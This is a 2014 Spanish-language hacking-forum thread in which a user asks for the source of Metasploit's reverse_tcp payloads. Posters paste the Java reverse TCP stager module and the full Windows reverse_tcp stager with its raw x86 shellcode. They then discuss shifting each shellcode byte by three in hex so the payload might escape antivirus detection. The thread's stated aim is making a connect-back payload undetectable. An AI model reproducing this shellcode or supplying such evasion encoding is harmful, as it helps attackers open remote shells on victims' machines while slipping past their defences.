Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: cibi en Septiembre 27, 2014, 03:01:04 PM

Título: Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: cibi en Septiembre 27, 2014, 03:01:04 PM
Hola me gustaría saber donde puedo encontrar el source del payload java/meterpreter/reverse_tcp donde pueda encontrar la shellcode, quiero intentar cifrar la shellcode de un exploit bueno solo era eso.
También me gustaría saber como unir el payload al exploit supongo que me entenderán.
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: Hu3c0 en Septiembre 27, 2014, 06:50:00 PM
Espero  que  sea esto lo que buscas este es el  payload java/reverse_tcp está en rb

Citar##
# $Id: reverse_tcp.rb 13213 2011-07-18 23:15:06Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

   include Msf::Payload::Stager
   include Msf::Payload::Java

   def initialize(info = {})
      super(merge_info(info,
         'Name'          => 'Java Reverse TCP stager',
         'Version'       => '$Revision: 13213 $',
         'Description'   => 'Connect back stager',
         'Author'        => [
               'mihi',  # all the hard work
               'egypt', # msf integration
            ],
         'License'       => MSF_LICENSE,
         'Platform'      => 'java',
         'Arch'          => ARCH_JAVA,
         'Handler'       => Msf::Handler::ReverseTcp,
         'Convention'    => 'javasocket',
         'Stager'        => {'Payload' => ""}
         ))

      register_advanced_options(
         [
            Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
         ], self.class
      )

      @class_files = [ ]
   end

   def config
      spawn = datastore["Spawn"] || 2
      c =  ""
      c << "Spawn=#{spawn}\n"
      c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
      c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
      
      c
   end

end

Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: cibi en Septiembre 28, 2014, 07:23:17 AM
Ok gracias el de windows/meterpreter/reverse_tcp puede ser este?
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'msf/core/handler/reverse_tcp'


module Metasploit3

  include Msf::Payload::Stager
  include Msf::Payload::Windows

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Reverse TCP Stager',
      'Description'   => 'Connect back to the attacker',
      'Author'        => ['hdm', 'skape', 'sf'],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Convention'    => 'sockedi',
      'Stager'        =>
        {
          'RequiresMidstager' => false,
          'Offsets' => { 'LHOST' => [ 194, 'ADDR' ], 'LPORT' => [ 201, 'n' ], 'ReverseConnectRetries' => [ 192, 'C'] },
          'Payload' =>
            # Built on Tue Jan 14 03:04:51 2014

            # Name: stager_reverse_tcp_nx
            # Length: 287 bytes
            # Port Offset: 201
            # Host Offset: 194
            # RetryCounter Offset: 192
            # ExitFunk Offset: 226
            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" +
            "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
            "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" +
            "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
            "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
            "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
            "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3"

        }
      ))


  end

end

Y como que el de java reverse_tcp no tiene shellcode ?
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: Snifer en Septiembre 28, 2014, 10:43:10 AM
Correcto xacibi es ese! por si quieres ver solo te diriges a rapid7  y lo buscas el source del payload, auxiliar o el que necesites. para unir a que te refieres quieres modificar el shellcode existente por otro que ataque otra vulnerabilidad ? o a donde va tu pregunta.

Regards,
Snifer
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: cibi en Septiembre 28, 2014, 03:34:04 PM
Hola me refería cifrar la shellcode de ese payload y unirlo a metasploit conozco un método que era sumarle 3 a cada byte de la shellcode pero creo que no es tan sencillo como pensaba porque por ejemplo esta parte de la shellcode del payload windows/meterpreter/reverse_tcp:
\xFC\xE8\x86\
el /x86/ cifrado seria de la siguiente forma:
/x89/
Creo que no me equivoco pero cuando hay letras por en medio me resulta un poco mas complicado, según vi en un libro para cifrarla pasa de /x86/ a /x89/ pero cuando hay letras se trabaja en hexadecimal por ejemplo una shellcode de esta manera:
0x68 cifrada seria 0x6b porque en hexadecimal para cifrar se cuenta de la siguiente forma:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f, 10, 11, 12, 13, 14
Pero no entiendo como podría cifrar esto:
\xFC\xE8\
Por ejemplo:
\xFC\ es la original
Pero cifrada podría ser:
\x12F\
Es que no acabo de entenderlo bien.
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: fermino en Septiembre 29, 2014, 02:08:12 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Por ejemplo:
\xFC\ es la original
Pero cifrada podría ser:
\x12F\
Es que no acabo de entenderlo bien.

xFC quedaría como xFF

Mira esto, puede que te aclare las cosas ;)

http://es.ncalculators.com/digital-computation/hex-addition-calculadora.htm (http://es.ncalculators.com/digital-computation/hex-addition-calculadora.htm)
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: cibi en Septiembre 29, 2014, 04:23:29 PM
Gracias creo que lo voy entendiendo pero tengo una duda mas x99 cifrada como seria?
Y las que estan en x00 se tienen que tocar?
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: fermino en Septiembre 29, 2014, 04:38:13 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias creo que lo voy entendiendo pero tengo una duda mas x99 cifrada como seria?
Y las que estan en x00 se tienen que tocar?

x99, sería x9C (Hexa es 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f. Desplazamos el 9 tres posiciones adelante, y tenemos c. Si en algún cálculo llegamos a f, pasamos a modificar el dígito de la izquierda, como en cualquier suma xD).

SUPONGO que sí, se deben modificar; pero OJO, sólo SUPONGO esto...
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: cibi en Septiembre 29, 2014, 04:50:51 PM
Entonces después de f no viene de 10 al 14 simplemente cuando llega a la f vuelve al 0? Si no he entendido mal.
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: fermino en Septiembre 29, 2014, 06:10:31 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Entonces después de f no viene de 10 al 14 simplemente cuando llega a la f vuelve al 0? Si no he entendido mal.

Exacto, luego del F vuelve a 0 y se le suma 1 al otro dígito...
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: cibi en Septiembre 30, 2014, 03:35:52 PM
ok gracias esto me serviría si por ejemplo si cifro la shellcode de windows/meterpreter/reverse_tcp de crear un ejecutable con msfpayload windows/meterpreter/reverse_tcp etc... Quiero decir el ejecutable si tengo la shellcode cifrada sera indetectable ?
O si utilizo un exploit con ese payload sera indetectable a los antivirus?
Título: Re:Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro
Publicado por: fermino en Septiembre 30, 2014, 04:02:57 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ok gracias esto me serviría si por ejemplo si cifro la shellcode de windows/meterpreter/reverse_tcp de crear un ejecutable con msfpayload windows/meterpreter/reverse_tcp etc... Quiero decir el ejecutable si tengo la shellcode cifrada sera indetectable ?
O si utilizo un exploit con ese payload sera indetectable a los antivirus?

La verdad es que no sé... Apenas he hecho algo relacionado con el tema xD. Segúramente algún otro usuario te lo podrá aclarar.